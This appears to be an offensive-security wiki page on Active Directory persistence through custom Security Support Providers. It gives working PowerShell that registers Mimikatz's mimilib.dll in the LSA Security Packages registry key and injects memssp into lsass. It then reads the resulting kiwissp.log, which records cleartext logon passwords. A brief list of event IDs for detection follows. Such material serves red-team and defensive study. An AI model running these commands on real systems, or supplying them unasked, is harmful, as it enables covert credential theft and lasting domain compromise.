> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/persistence/custom_ssps.md).

# Custom SSPs

## General

* A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection
* Some SSP packages by Microsoft are
  * NTLM
  * Kerberos
  * Wdigest
  * CredSSP
* Mimikatz provdes custom SSP - mimilib.dll
* This SSP logs local logons, service account and machine aacount passwords in clear text on the target server

## Exploitation

```powershell
# First way: drop mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | Select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

# Second way: using mimikatz to inject into lsass (unstable with Server 2016)
Invoke-Mimikatz -Command '"misc::memssp"'

# All logons on the DC are logged to C:\Windows\system32\kiwissp.log
Get-Content C:\Windows\system32\kiwissp.log
```

## Detection

* Event IDs:
  * 4657: Audit creation/change of HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages
  * 4624: Account Logon
  * 4634: Account Logoff
  * 4672: Admin Logon


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